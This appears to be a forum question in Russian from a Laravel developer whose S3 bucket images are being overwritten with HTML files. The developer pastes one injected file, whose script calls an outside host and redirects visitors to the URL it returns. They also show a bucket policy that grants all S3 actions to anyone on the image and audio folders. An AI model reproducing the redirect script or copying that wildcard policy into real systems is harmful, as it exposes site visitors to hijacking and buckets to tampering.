Пользователи моей платформы могут загрузить свое изображение аватара, но им нужно запросить подписанный URL в моем Laravel бэкенде.
Вот контроллер
public function avatarUploadSigner(Request $request)
{
return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}
А здесь функция для получения подписанного s3 для загрузки изображения
function s3_signedUrl($path, $expireOnMinutes = 120) {
if(!$path) {
return ['error' => 'filename missing'];
}
$s3 = Storage::disk('s3');
$adapter = $s3->getDriver()->getAdapter();
$client = $adapter->getClient();
$mime = \League\Flysystem\Util\MimeType::detectByFilename($path);
try {
$command = $client->getCommand('PutObject', array(
'Bucket' => $adapter->getBucket(),
'Key' => $path,
'ContentType' => $mime,
'use_accelerate_endpoint' => true
));
$signedUrl = $client->createPresignedRequest(
$command,
"+$expireOnMinutes minutes"
);
$signedUrl = $signedUrl->getUri()->__toString();
} catch (S3Exception $e) {
return ['error' => $e->getMessage()];
}
return $signedUrl;
}
Неделя в go Некоторые изображения превращаются в html файлы, подобные этому:
<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&type=content-script&dmn=myghostmarket.s3.eu-west-1.amazonaws.com&css=1&js=1&gcss=1&rel=0&rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&name=AdGuard%20Assistant&name=AdGuard%20Extra&type=user-script"></script><script>
var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>
Но недавно не только аватар, теперь изменились другие изображения, такие как заголовок, нижний колонтитул и т. д. c, которые не могут быть изменены подписанным URL-адресом.
У меня есть эта политика корзины
"Version": "2008-10-17",
"Statement": [
{
"Sid": "AllowPublicRead",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
"arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
]
}
]
}
Аудио и папки img доступны для чтения, но не могут быть записаны без подписи, верно? У меня есть еще более важные личные папки.
Они в опасности? Что не так с моим кодом? Мое ведро s3 взломано?